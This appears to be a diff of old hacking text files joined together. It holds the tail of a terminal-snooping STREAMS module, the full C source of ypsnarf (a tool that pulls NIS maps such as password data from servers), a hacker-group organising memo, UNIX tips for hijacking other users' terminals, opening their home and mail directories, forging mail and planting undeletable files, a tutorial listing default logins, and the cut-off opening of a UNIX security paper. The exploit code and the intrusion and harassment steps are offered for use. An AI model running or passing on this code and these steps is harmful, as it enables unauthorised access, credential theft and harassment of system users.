*)q->q_ptr; + struct advise_state *llist = &advise_table; + struct advise_queue_list *qp = sp->q_list; + + sp->status = 0; + + /* unlink us from the state table */ + + while (llist->next != sp) +llist = llist->next; + + llist->next = llist->next->next; + + while (sp->next != NULL) + { +/* tell each advisor that we're shutting down */ + +flushq(sp->q, FLUSHDATA); +putctl(sp->q->q_next, M_HANGUP); + +sp = sp->next; + } + + freeb(sp->savbp); + + q->q_ptr = NULL; +} + + +static +advisemrput(q, mp) +register queue_t *q; +register mblk_t *mp; +{ + putnext(q, mp); +} + + +static +advisemwput(q, mp) +register queue_t *q; +register mblk_t *mp; +{ + struct advise_state *sp = (struct advise_state *)q->q_ptr; + register struct advise_queue_list *qp; + int s; + + switch (mp->b_datap->db_type) + { + case M_DATA: +/* +** Write data to advisors. +*/ +s = spladvise(); +for (qp = sp->q_list; qp != NULL; qp = qp->next) +{ + mblk_t *mp1 = copymsg(mp); + + if (mp1 != NULL) +putnext(qp->q, mp1); +} + +splx(s); +break; + + case M_IOCTL: + case M_IOCDATA: +if (advisemsrvioc(q, mp)) /* handled? */ + return; +break; + } + + putnext(q, mp); +} + + +static int +advisemsrvioc(q, mp) +queue_t *q; +mblk_t *mp; +{ + mblk_t *mp1; + struct iocblk *iocbp = (struct iocblk *)mp->b_rptr; + struct advise_state *sp = (struct advise_state *)q->q_ptr; + + if (mp->b_datap->db_type == M_IOCDATA) + { +struct copyresp *csp = (struct copyresp *)mp->b_rptr; + +switch(csp->cp_cmd) +{ +case ADVISE_STATUS: +case ADVISE_ALLOW: +case ADVISE_DENY: + /* For copyin/copyout failures, just free message. */ + + if (csp->cp_rval) +freemsg(mp); + else if (!csp->cp_private) + { +mp->b_datap->db_type = M_IOCACK; +freemsg(unlinkb(mp)); +iocbp->ioc_count = 0; +iocbp->ioc_rval = 0; +iocbp->ioc_error = 0; +putnext(RD(q), mp); + } + + return 1; + } + } + + switch (iocbp->ioc_cmd) + { + case ADVISE_STATUS: + { + int *status; + caddr_t arg = *(caddr_t *)mp->b_cont->b_rptr; + + freemsg(mp->b_cont); + + mp->b_cont = allocb(sizeof(int), BPRI_MED); + if (!mp->b_cont) + { +mp->b_datap->db_type = M_IOCNAK; +freemsg(unlinkb(mp)); +iocbp->ioc_count = 0; +iocbp->ioc_rval = 0; +iocbp->ioc_error = ENOMEM; +putnext(RD(q), mp); +return 1; + } + + status = (int *)mp->b_cont->b_rptr; + mp->b_cont->b_wptr += sizeof(int); + + *status = sp->status; + + if (mp->b_datap->db_type == M_IOCTL && +iocbp->ioc_count == TRANSPARENT) + { +struct copyreq *creq = (struct copyreq *)mp->b_rptr; +mp->b_datap->db_type = M_COPYOUT; +creq->cq_addr = arg; +mp->b_wptr = mp->b_rptr + sizeof *creq; +mp->b_cont->b_wptr = mp->b_cont->b_rptr + sizeof(int); +creq->cq_size = sizeof(int); +creq->cq_flag = 0; +creq->cq_private = (mblk_t *)NULL; +putnext(RD(q), mp); +return 1; + } +} +break; + + case ADVISE_ALLOW: +sp->status |= ALLOW_ADVICE; + +mp->b_datap->db_type = M_IOCACK; +mp1 = unlinkb(mp); +if (mp1) + freeb(mp1); +iocbp->ioc_count = 0; +putnext(RD(q), mp); +break; + + case ADVISE_DENY: +sp->status &= ~(ALLOW_ADVICE); + +mp->b_datap->db_type = M_IOCACK; +mp1 = unlinkb(mp); +if (mp1) + freeb(mp1); +iocbp->ioc_count = 0; +putnext(RD(q), mp); +break; + + default: +return 0; + } + + return 1; +} +SHAR_EOF +fi # end of overwriting check +if test -f 'advisemod.h' +then +echo shar: will not over-write existing file "'advisemod.h'" +else +cat << \SHAR_EOF > 'advisemod.h' +/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) + +This file is part of advise. + +advise is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY. No author or distributor +accepts responsibility to anyone for the consequences of using it +or for whether it serves any particular purpose or works at all, +unless he says so in writing. Refer to the advise General Public +License for full details. + +Everyone is granted permission to copy, modify and redistribute +advise, but only under the conditions described in the +advise General Public License. A copy of this license is +supposed to have been given to you along with advise so you +can know your rights and responsibilities. It should be in a +file named COPYING. Among other things, the copyright notice +and this notice must be preserved on all copies. */ + +/* +** Author:Keith Gabryelski(ag@amix.commodore.com) +*/ + +struct advise_queue_list +{ + mblk_t*savbp;/* ptr to this mblk for freeb()ing */ + queue_t*q;/* advisor's queue */ + intminord; /* minor device for this advisor */ + struct advise_state*state; /* ptr back to advise_state struct */ + struct advise_queue_list*next; /* ptr to next advisor */ +}; + +struct advise_state +{ + mblk_t*savbp;/* ptr to this mblk for freeb()ing */ + intstatus;/* current status */ + dev_tdev;/* our device */ + queue_t*q;/* queue for advisor writing */ + struct advise_queue_list*q_list;/* list of spies */ + struct advise_state*next; /* next in advise_table */ +}; + +#define ALLOW_ADVICE(0x01) + +struct advise_message +{ + inttype; /* What type of data is this? */ +}; + +#define ADVISE_DATA(0x00) +#define ADVISE_READDATA(0x01) + +#define ADVISE('z'<<16) +#define ADVISE_SETADVISEE(ADVISE|0x01) +#defineADVISE_ALLOW(ADVISE|0x02) +#defineADVISE_DENY(ADVISE|0x03) +#define ADVISE_STATUS(ADVISE|0x04) + +#define spladvisespltty +SHAR_EOF +fi # end of overwriting check +#End of shell archive +exit 0 + +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +It is useless to resist us. +/* + * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN + * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE + * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT + * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY. + * + * ypsnarf - exercise security holes in yp/nis. + * + * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik + * (casper@fwi.uva.nl). + * + * Usage: + * ypsnarf server client + * - to obtain the yp domain name + * ypsnarf server domain mapname + * - to obtain a copy of a yp map + * ypsnarf server domain maplist + * - to obtain a list of yp maps + * + * In the first case, we lie and pretend to be the host "client", and send + * a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this + * to work, "server" must be running rpc.bootparamd, and "client" must be a + * diskless client of (well, it must boot from) "server". + * + * In the second case, we send a YPPROC_DOMAIN request to the host "server", + * asking if it serves domain "domain". If so, we send YPPROC_FIRST and + * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map + * "mapname". Note that you must specify the full yp map name, you cannot + * use the shorthand names provided by "ypcat". + * + * In the third case, the special map name "maplist" tells ypsnarf to send + * a YPPROC_MAPLIST request to the server and get the list of maps in domain + * "domain", instead of getting the contents of a map. If the server has a + * map called "maplist" you can't get it. Oh well. + * + * Since the callrpc() routine does not make any provision for timeouts, we + * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the + * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer. + * + * This program uses UDP packets, which means there's a chance that things + * will get dropped on the floor; it's not a reliable stream like TCP. In + * practice though, this doesn't seem to be a problem. + * + * To compile: + * cc -o ypsnarf ypsnarf.c -lrpcsvc + * + * David A. Curry + * Purdue University + * Engineering Computer Network + * Electrical Engineering Building + * West Lafayette, IN 47907 + * davy@ecn.purdue.edu + * January, 1991 + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */ +#define YPSNARF_TIMEOUT1 15 /* timeout for initial request */ +#define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */ + +char *pname; /* program name */ + +main(argc, argv) +char **argv; +int argc; +{ + char *server, *client, *domain, *mapname; + + pname = *argv; + + /* + * Process arguments. This is less than robust, but then + * hey, you're supposed to know what you're doing. + */ + switch (argc) { + case 3: + server = *++argv; + client = *++argv; + + get_yp_domain(server, client); + exit(0); + case 4: + server = *++argv; + domain = *++argv; + mapname = *++argv; + + if (strcmp(mapname, "maplist") == 0) + get_yp_maplist(server, domain); + else + get_yp_map(server, domain, mapname); + exit(0); + default: + fprintf(stderr, "Usage: %s server client -", pname); + fprintf(stderr, "to obtain yp domain name\n"); + fprintf(stderr, " %s server domain mapname -", pname); + fprintf(stderr, "to obtain contents of yp map\n"); + exit(1); + } +} + +/* + * get_yp_domain - figure out the yp domain used between server and client. + */ +get_yp_domain(server, client) +char *server, *client; +{ + long hostip; + struct hostent *hp; + bp_whoami_arg w_arg; + bp_whoami_res w_res; + extern void timeout(); + enum clnt_stat errcode; + + /* + * Just a sanity check, here. + */ + if ((hp = gethostbyname(server)) == NULL) { + fprintf(stderr, "%s: %s: unknown host.\n", pname, server); + exit(1); + } + + /* + * Allow the client to be either an internet address or a + * host name. Copy in the internet address. + */ + if ((hostip = inet_addr(client)) == -1) { + if ((hp = gethostbyname(client)) == NULL) { + fprintf(stderr, "%s: %s: unknown host.\n", pname, + client); + exit(1); + } + + bcopy(hp->h_addr_list[0], + (caddr_t) &w_arg.client_address.bp_address.ip_addr, + hp->h_length); + } + else { + bcopy((caddr_t) &hostip, + (caddr_t) &w_arg.client_address.bp_address.ip_addr, + sizeof(ip_addr_t)); + } + + w_arg.client_address.address_type = IP_ADDR_TYPE; + bzero((caddr_t) &w_res, sizeof(bp_whoami_res)); + + /* + * Send a BOOTPARAMPROC_WHOAMI request to the server. This will + * give us the yp domain in the response, IFF client boots from + * the server. + */ + signal(SIGALRM, timeout); + alarm(YPSNARF_TIMEOUT1); + + errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, + BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg, + xdr_bp_whoami_res, &w_res); + + alarm(0); + + if (errcode != RPC_SUCCESS) + print_rpc_err(errcode); + + /* + * Print the domain name. + */ + printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name); + + /* + * The maximum domain name length is 255 characters, but the + * rpc.bootparamd program truncates anything over 32 chars. + */ + if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN) + printf(" (truncated?)"); + + /* + * Put out the client name, if they didn't know it. + */ + if (hostip != -1) + printf(" (client name = %s)", w_res.client_name); + + putchar('\n'); +} + +/* + * get_yp_map - get the yp map "mapname" from yp domain "domain" from server. + */ +get_yp_map(server, domain, mapname) +char *server, *domain, *mapname; +{ + char *reqp; + bool_t yesno; + u_long calltype; + bool (*xdr_proc)(); + extern void timeout(); + enum clnt_stat errcode; + struct ypreq_key keyreq; + struct ypreq_nokey nokeyreq; + struct ypresp_key_val answer; + + /* + * This code isn't needed; the next call will give the same + * error message if there's no yp server there. + */ +#ifdef not_necessary + /* + * "Ping" the yp server and see if it's there. + */ + signal(SIGALRM, timeout); + alarm(YPSNARF_TIMEOUT1); + + errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, + xdr_void, 0); + + alarm(0); + + if (errcode != RPC_SUCCESS) + print_rpc_err(errcode); +#endif + + /* + * Figure out whether server serves the yp domain we want. + */ + signal(SIGALRM, timeout); + alarm(YPSNARF_TIMEOUT1); + + errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, + xdr_wrapstring, (caddr_t) &domain, xdr_bool, + (caddr_t) &yesno); + + alarm(0); + + if (errcode != RPC_SUCCESS) + print_rpc_err(errcode); + + /* + * Nope... + */ + if (yesno == FALSE) { + fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, + server, domain); + exit(1); + } + + /* + * Now we just read entry after entry... The first entry we + * get with a nokey request. + */ + keyreq.domain = nokeyreq.domain = domain; + keyreq.map = nokeyreq.map = mapname; + reqp = (caddr_t) &nokeyreq; + keyreq.keydat.dptr = NULL; + + answer.status = TRUE; + calltype = YPPROC_FIRST; + xdr_proc = xdr_ypreq_nokey; + + while (answer.status == TRUE) { + bzero((caddr_t) &answer, sizeof(struct ypresp_key_val)); + + signal(SIGALRM, timeout); + alarm(YPSNARF_TIMEOUT2); + + errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc, + reqp, xdr_ypresp_key_val, &answer); + + alarm(0); + + if (errcode != RPC_SUCCESS) + print_rpc_err(errcode); + + /* + * Got something; print it. + */ + if (answer.status == TRUE) { + printf("%.*s\n", answer.valdat.dsize, + answer.valdat.dptr); + } + + /* + * Now we're requesting the next item, so have to + * send back the current key. + */ + calltype = YPPROC_NEXT; + reqp = (caddr_t) &keyreq; + xdr_proc = xdr_ypreq_key; + + if (keyreq.keydat.dptr) + free(keyreq.keydat.dptr); + + keyreq.keydat = answer.keydat; + + if (answer.valdat.dptr) + free(answer.valdat.dptr); + } +} + +/* + * get_yp_maplist - get the yp map list for yp domain "domain" from server. + */ +get_yp_maplist(server, domain) +char *server, *domain; +{ + bool_t yesno; + extern void timeout(); + struct ypmaplist *mpl; + enum clnt_stat errcode; + struct ypresp_maplist maplist; + + /* + * This code isn't needed; the next call will give the same + * error message if there's no yp server there. + */ +#ifdef not_necessary + /* + * "Ping" the yp server and see if it's there. + */ + signal(SIGALRM, timeout); + alarm(YPSNARF_TIMEOUT1); + + errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, + xdr_void, 0); + + alarm(0); + + if (errcode != RPC_SUCCESS) + print_rpc_err(errcode); +#endif + + /* + * Figure out whether server serves the yp domain we want. + */ + signal(SIGALRM, timeout); + alarm(YPSNARF_TIMEOUT1); + + errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, + xdr_wrapstring, (caddr_t) &domain, xdr_bool, + (caddr_t) &yesno); + + alarm(0); + + if (errcode != RPC_SUCCESS) + print_rpc_err(errcode); + + /* + * Nope... + */ + if (yesno == FALSE) { + fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, + server, domain); + exit(1); + } + + maplist.list = (struct ypmaplist *) NULL; + + /* + * Now ask for the list. + */ + signal(SIGALRM, timeout); + alarm(YPSNARF_TIMEOUT1); + + errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST, + xdr_wrapstring, (caddr_t) &domain, + xdr_ypresp_maplist, &maplist); + + alarm(0); + + if (errcode != RPC_SUCCESS) + print_rpc_err(errcode); + + if (maplist.status != YP_TRUE) { + fprintf(stderr, "%s: cannot get map list: %s\n", pname, + yperr_string(ypprot_err(maplist.status))); + exit(1); + } + + /* + * Print out the list. + */ + for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next) + printf("%s\n", mpl->ypml_name); +} + +/* + * print_rpc_err - print an rpc error and exit. + */ +print_rpc_err(errcode) +enum clnt_stat errcode; +{ + fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode)); + exit(1); +} + +/* + * timeout - print a timeout and exit. + */ +void timeout() +{ + fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname); + exit(1); +} + +***************************************************************************** +* DRAFT 4.0 * +* Reorganisation Document #1 * +* * +* *SENSITIVE* * +* *DO NOT DISTRIBUTE* * +* * +***************************************************************************** +* Late breaking news: * +* We have 40 * +* members in 7 countries (USA, Israel, Holland, France, Australia, * +* Canada, and Switzerland). This represents a substantial boost to our * +* tallent pool. All are very good and come with high recomemdations. * +* PGP 2.2 has been released * +* The author of the anon mail forwarder that was forced off the net by * +* by NSF has promiced us a copy as soon as he cleans it up a little. * +* this will support PGP also. - OK we got a copy, need sites to set it up * +* on, any volunteers out there? * +***************************************************************************** + +SUMMARY: +-------- + You were added to the INFOHAX-D list, this is a discussion list for +HaxNet that is open to both the hacking and security participants of +the project. This is a MODERATED list! + One of our first projects to tackle as a group (via this list) is +reorganising the project, and it's policies. We want and value YOUR +input. You will be receiving peices of a mega-document over time that +breaks down what we are doing, what we'd like to do and includes +summaries of your input for discussion with the group as a whole. + We've changed. We're becomming a Global network. The Infohax digest +will continue, but it will be open to security people also. We are +spawning sister digests for special interest groups. We are also forming +a hacker only digest/project, and a security only digest/project. You +can *NOT* subscribe to both. access to these digests are restricted +and handled on a person by person basis. + Here's what it looks like: + HaxNet: The "umbrella" organisation that coordinates and supports +various digests, provides resources, and oversees the management of +various projects. This is run by a coordinating group. + Infohax: the flagship digest - open to sec and hack people for shared +contributions. + Infohax-d: the haxNet discussion group. Open to sec and hack people +for shared discussions. (moderated) + infohack: hacker only digest - sensitive info only. + infosec: security only digest - sensitive info only, like the CORE list. + info-lans: SIG digest devoted to LANS - our first "sister" digest. + + In adition we are setting up various groups with coordinators to +handle specific aspects of the project. Some of these are: + Coordinating grp.: oversees the project + Support Grp.: responsable for resources (listserv, FTP, Gopher, etc) + Research: access to info and DB's + Analysis: massaging data + Security: initial background checks, security leaks, encryption, etc. + Publications: editing, tech writing, producing digests. + Probably others, but enough for now. + Based on your skills, resources, and interests you will be contacted by the +appropriate coordinators and added to various grps. Some grps are closed based +on your "trust" level, and hack/sec orientation. Much of your placement +depends on how you filled out the questionaire, if you havn't filled this out +please do so ASAP! Everyone who hasn't filled this out is classified as +"untrusted" and restricted to the discussion list (perhaps the infohax digest +too, but we havn't decided that yet). If you havn't sent in a PGP key we will +NOT send you any project keys this means you will be unable to decrypt infohax +when/if it is sent to you. + +INTRO: +------ + This doc is being distributed to all members. + The purpose of this doc is to determine the future direction(s) of +Project Info-Hax (aka: HaxNet), it's purpose, policies and procedures, and +how the project will function in the future. + This project is too big for one person to run, so I try to coordinate it, +and give pieces to a variety of people that I trust, and have demonstrated +through their contributions and effort a commitment to the project. + If you don't like a direction the project is going this is the place to +voice your opinions and make changes. Likewise if you want the project +to take on a new direction, this is the place to get it started. + We also have had alot of resources offered. Things like FTP, Gopher, scan/ +OCR, etc., enough to set up a very nice infrastructure in which to share +information, and do research. We havn't gotten these off the ground yet +(well, most of them), and need help doing so. + I'd like all of you to provide some feedback on what's discussed +below. At this moment nothing is written in stone, and I am more than +open to changes. There are few things I'm not open to changing, among +them (things I'm not willing to change) are the ideas of this project +being a means of sharring information and a research network. I am +also *NOT* willing to have the project engage in illegal activities. + I'm looking for some *ACTIVE* responces to this document! I'd like: +A) VOLUNTEERS - to take on pieces of the project. +B) FEEDBACK - this is your project too!, so tell me what you want it + to be like and we'll implement it. What I'm putting in this thing + is the vision I have of the project, some possabilities, and + suggestions I've received from others to date. Tell me what YOU want + it to be, and if others agree, we'll do it! + + This has been dragging for too long, so I'm going to send it out +in pieces. Some parts are finished, others not, and instead of +overloading everyone with a mega-document, we'll do it in pieces over +time. + + +2) Purpose and Projects: +------------------------- + Why do we exist? what's our purpose? + That's an open ended question, btw... + Ok, this is my vision of it: (I'm looking for *FEEDBACK!* hint, hint...) + buncha stuff added by others in preliminary discussions too... +Purpose: + share knowledge - preserve collective knowledge. + establish and run a research network. + network people with simmilar interests. + provide a framework were people can persue special interests, within + a support network. ie: the network is provided, people with simmilar + interests are connected (perhaps safely/anonymously), and given tools + and information that will allow them to persue their interests, and + "publish" the results. + +Original Purpose: + our original concept was to publish an exhaustive tutorial/encyclapedia + on UNIX hacking/security holes, this evolved abit into becomming a + publishing mill for hacker mags, however I now think that genneral + distribution of our "product" isn't such a good idea - lotta + irresponsable newbies out there... Presently I think we should remain + a private group, with information restricted to the group (ok, some + exceptions, but we'll deal with them as they come up) + We also considered starting a school, this doesn't seem like such a + hot idea due to the current legal atmosphere, but seminars, etc + arn't out of the question. + At pressent we are becomming a network, networking more people and + resources - spawning sub-journals... + +Projects: + Of cource we are going to continue Info-Hax, our "flagship" publication. + We want to spawn sub journals and discussion lists, on hack/sec/crypto + topics. + We want to develope a support network to connect people (hack/sec), + maintain information depositories, develope a "seamless" interface + to all known h/s/c network resources (FTP, Gopher, etc), develope + additional network resources for project use (DB's, news captures, + archives of mailing lists, programs, etc.), index all h/s/c journals, + develope global contacts in the hack/sec/crp communities, for + support of technical problems, working together and opening technical + communications (content), developing new methods and techniques, + finding/patching holes, developing an exhaustive test suite of + OS vulnerabilities, develope and maintain penetration/security tools, + find sources for and index patches for vulnerabilities, umm, other + things. + + I'm interested in what you guys think of the above, and + what *YOU!* would like to see us doing... + +Some other things: + I'd like to get a translation grp together to translate information from + other languages (the cream). Also find/access mtrans progs/dicts. + Develope groups of "tiger teams", willing to do penetration testing, and + securing of holes as a public service. (and to give the hackers a + legal means to persue their craft) + Scan/OCR in interesting hardcopy papers. (the cream) + Develope a safe and secure means for people to communicate (anon, + encryption, anti-T/A) + Develope a job clearing house for compusec work. + What else can you people think of? + + Ok, it isn't going to happen overnight, but it can grow and evolve, +we have ALOT of resources offered, and people willing to do things - +you'd be surprised how far we could go if we distribute the load. + +Some principles: + stay legal and out of trouble. + open communication of a technical nature between hackers and the + security community. hackers and security people working together. + network GLOBALLY. + old school ethics, anti-destructive hackers... + pull together information, become known and respected over time (slowly!), + become a "power". + try to develope a friendly liason with sec community/gvmt agencies. + keep a sence of humor - don't take ourseves too seriously... +============================================================================= + + OK, this is where you get to jump in, send me some feedback on what you +think our direction and purpose should be. + What projects would you like to see us working on, or would you like to +do as part of the network? + What do you think of what's been proposed? Anything we should persue +vigerously? Anything we shouldn't do? + + Send your feedback to us and we'll summerise: + (try to respond within 7 days, please) + + Feedback on this doc, and HaxNet in general: tangent@stormking.com + (please put reorg-doc.01 on the Subject: line) + ------------ + Feedback on resources, sites, support ops: mark@stormking.com + (please put support-ops on the Subject: line) + ----------- + Applications and PGP public keys: yo@stormking.com + (please put PGP or apl on the Subject: line) + --- --- + diff --git a/textfiles.com/hacking/UNIX/uhcom.txt b/textfiles.com/hacking/UNIX/uhcom.txt new file mode 100644 index 00000000..45034cc6 --- /dev/null +++ b/textfiles.com/hacking/UNIX/uhcom.txt @@ -0,0 +1,656 @@ + + + *** A List Of Some OF The Most Useful UNIX ** + *** Hacking Commands, and Some Hints On Their Usage *** + +--------------------------------------------------------------- + + It is fun and often usefull to create a file that is owned +by someone else. On most systems with slack security ie 99% of +all UNIX systems, this is quite easily done. The chown command +will change any of your files to make someone else the owner. +Format is as follows: + +chown ownername filelist + + Where ownername is the new owner, and filelist is the list of +files to change. You must own the file which your are goin to +change, unless you are a superuser....then u can change ANYTHING! + chgrp is a similar command which will change the group +ownership on a file. If you are going to do both a chown and a +chgrp on a file, then make sure you do the chgrp first! Once the +file is owned by someone else, you cant change nything about it! + +--------------------------------------------------------------- + + Sometimes just seeing who is on the system is a challenge in +itself. The best way is to write your own version of who in C, +but if you can't do that then this may be of some help to you: + + who followed by on or more of the following flags: + + -b Displays time sys as last booted. + -H Precedes output with header. + -l Lists lines waiting for users to logon. + -q displays number of users logged on. + -t displays time sys clock was last changed. + -T displays the state field (a + indicates it is +possible to send to terminal, a - means u cannot) + -u Give a complete listing of those logged on. + + **who -HTu is about the best choice for the average user** + +##by the way, the list of users logged on is kept in the file +/etc/utmp. If you want to write your own personalised version of +who in C, you now know where to look!### + +--------------------------------------------------------------- + + When a users state field (see -T flag option for who +command) says that a user has their message function on, this +actually means that it is possible to get stuff onto their +screen. + Basically, every terminal on the system has a file +corresponding to it. These files can be found in the /dev +directory. You can to anything to these files, so long as you +have access -eg you can read them, and write to them, but you +will notice that they never change in size. They are called +character specific files, and are really the link between the +system and the terminals. Whatever you put in these files will +go staright to the terminal it corresponds to. + Unfortunately, on most systems, when the user logs in, the +"mesg n" command is issued which turns off write access to that +terminal, BUT- if you can start cating to that terminal before +system issues the mesg n command, then you will continue to be +able to get stuff up on that terminal! This has many varied uses. + + Check out the terminal, or terminal software being used. +Often you will be able to remotely program another users +terminal, simply by 'cating' a string to a users screen. You +might be able to set up a buffer, capturing all that is typed, or +you may be able to send the terminal into a frenzy- (sometimes a +user will walk away without realizing that they are sill +effectively logged on, leaving you with access to their +account!). Some terminal types also have this great command +called transmit screen. It transmits everything on the screen, +just as if the user had typed it ! + So just say I wanted to log off a user, then I would send a +clear screen command (usually ctrl l), followed by "exit" +followed by a carriage return, followed by the transmit screen +code. Using ths technique you can wipe peoples directories or +anything. My favourite is to set open access on all their files +and directories so I can peruse them for deletion etc at my own +leisure). + +--------------------------------------------------------------- + + If you ever briefly get access to another persons account +eg. they leave the room to go to toilet or whatever, then simply +type the following: + +chmod 777 $HOME +chmod 777 $MAIL + + Then clear the screen so they dont see what you just typed. + + Now you can go look at their directory, and their mail, and +you can even put mail in their mail file. (just use the same +format as any mail that is already there!). Next time they log in +the system will automatically inform them they have new mail! + +--------------------------------------------------------------- + + Another way to send fake mail to people is to use the mail +server. This method produces mail that is slightly different to +normal, so anyone who uses UNIX a bit may be suspiscious when +they receive it, but it will fool the average user! + +type telnet + +the following prompt will appear: + +telnet> + +now type : + +open localhost 25 + +some crap will come up about the mail server..now type: + +mail from: xxxxxx Put any name you want. + +some more bullshit will come up. Now type: + +rcpt to: xxxxxx Put the name of the person to receive mail here. + +now type: + +data + +now you can type the letter...end it with a "." +type quit to exit once you are done. + +------------------------------------------------------------- + + Heres one for any experimenters out there... +It is possible to create files which simply cannot be deleted +from the standard shell. To do this you will have to physically +CREATE THE FILE USING A C PROGRAM or SCRIPT FILE, and you will +have to use a sequence of control characters which cannot be +typed from the shell. Try things like Ctrl-h (this is the +code for the delete key). Just a file with the name Ctrl-h would +not be deleteable from the shell, unless you used wildcards. So, +make it a nice long series of characters, so that to delete the +file, the user has no choice but to individually copy all his +files elsewhere, then delete everything in his directory, and +then copy all his files back.....this is one of my +favourites..gets em every time! + + The following script file is an example which will create a +file with the name Ctrl-h. You MUST tyoe this file in using the +vi editor or similar. +*****If you are not very good with vi, type "man vi" and print the +help file...it even contains stuff that I find useful now and +then.***** + +type the following in vi... + +echo'' > 'a^h' + + ***NOTE...to get the ^h (this really means ctrl-h) from vi type: + +Ctrl v +Ctrl h + + The Ctrl v instrcts vi to take the next character as a ascii +character, and not to interpret it. + change the access on the file you just created and now +execute it. It will create a file which looks like it is called +a, but try to delete it !..use wildcards if you really want to +delete it. + +*> Title: Tutorial on hacking through a UNIX system + + +** + +In the following file, all references made to the name Unix, may also be +substituted to the Xenix operating system. + +Brief history: Back in the early sixties, during the development of +third generation computers at MIT, a group of programmers studying the +potential of computers, discovered their ability of performing two or +more tasks simultaneously. Bell Labs, taking notice of this discovery, +provided funds for their developmental scientists to investigate into this +new frontier. After about 2 years of developmental research, they produced +an operating system they called "Unix". +Sixties to Current: During this time Bell Systems installed the Unix system +to provide their computer operators with the ability to multitask so that +they could become more productive, and efficient. One of the systems they +put on the Unix system was called "Elmos". Through Elmos many tasks (i.e. +billing,and installation records) could be done by many people using the same +mainframe. + +Note: Cosmos is accessed through the Elmos system. + +Current: Today, with the development of micro computers, such multitasking +can be achieved by a scaled down version of Unix (but just as +powerful). Microsoft,seeing this development, opted to develop their own +Unix like system for the IBM line of PC/XT's. Their result they called +Xenix (pronounced zee-nicks). Both Unix and Xenix can be easily installed +on IBM PC's and offer the same function (just 2 different vendors). + +Note: Due to the many different versions of Unix (Berkley Unix, +Bell System III, and System V the most popular) many commands +following may/may not work. I have written them in System V routines. +Unix/Xenix operating systems will be considered identical systems below. + +How to tell if/if not you are on a Unix system: Unix systems are quite +common systems across the country. Their security appears as such: + +Login; (or login;) +password: + +When hacking on a Unix system it is best to use lowercase because the Unix +system commands are all done in lower- case. Login; is a 1-8 character field. It is +usually the name (i.e. joe or fred) of the user, or initials (i.e. j.jones +or f.wilson). Hints for login names can be found trashing the location of +the dial-up (use your CN/A to find where the computer is). Password: is a 1-8 character password assigned by the sysop or chosen by the user. + + Common default logins + -------------------------- + login; Password: + root root,system,etc.. + sys sys,system + daemon daemon + uucp uucp + tty tty + test test + unix unix + bin bin + adm adm + who who + learn learn + uuhost uuhost + nuucp nuucp + +If you guess a login name and you are not asked for a password, and have +accessed to the system, then you have what is known as a non-gifted account. +If you guess a correct login and pass- word, then you have a user account. +And, if you get the root p/w you have a "super-user" account. +All Unix systems have the following installed to their system: +root, sys, bin, daemon, uucp, adm Once you are in the system, you will +get a prompt. Common prompts are: + +$ +% +# + +But can be just about anything the sysop or user wants it to be. + +Things to do when you are in: Some of the commands that you may want to +try follow below: + +who is on (shows who is currently logged on the system.) +write name (name is the person you wish to chat with) +To exit chat mode try ctrl-D. +EOT=End of Transfer. +ls -a (list all files in current directory.) +du -a (checks amount of memory your files use;disk usage) +cd\name (name is the name of the sub-directory you choose) +cd\ (brings your home directory to current use) +cat name (name is a filename either a program or documentation your username has written) + Most Unix programs are written in the C language or Pascal + since Unix is a programmers' environment. One of the first things done on the +system is print up or capture (in a buffer) the file containing all user names and accounts. This can be done by doing the following command: + +cat /etc/passwd + +If you are successful you will see a list of all accounts on the system. It +should look like this: +root:hvnsdcf:0:0:root dir:/: joe:majdnfd:1:1:Joe Cool:/bin:/bin/joe hal::1:2:Hal Smith:/bin:/bin/hal + +The "root" line tells the following info : +login name=root +hvnsdcf = encrypted password +0 = user group number +0 = user number +root dir = name of user +/ = root directory + +In the Joe login, the last part "/bin/joe " tells us which directory +is his home directory (joe) is. In the "hal" example the login name is +followed by 2 colons, that means that there is no password needed to get in +using his name. + +Conclusion: I hope that this file will help other novice Unix hackers +obtain access to the Unix/Xenix systems that they may find. + + + + On the Security of UNIX + + =-=-=-=-=-=-=-=-=-=-=-= + +Recently there has been much interest in the security aspects of operating + +systems and software.At issue is the ability to prevent undesired disclosure of + +information, destruction of information,and harm to the functioning of the + +system.This paper discusses the degree of security which can be provided under + +the system and offers a number of hints on how to improve security.The first + +fact to face is that UNIX was not developed with security,in any realistic + +sense,in mind;this fact alone guarantees a vast number of holes.(Actually the + +same statement can be made with respect to most systems.) + + + +The area of security in which is theoretically weakest is in protecting against + +crashing or at least crippling the operation of the system.The problem here is + +not mainly in uncritical acceptance of bad parameters to system calls (there + +may be bugs in this area, but none are known)but rather in lack of checks for + +excessive consumption of resources. + + + +Most notably, there is no limit on the amount of disk storage used, either in + +total space 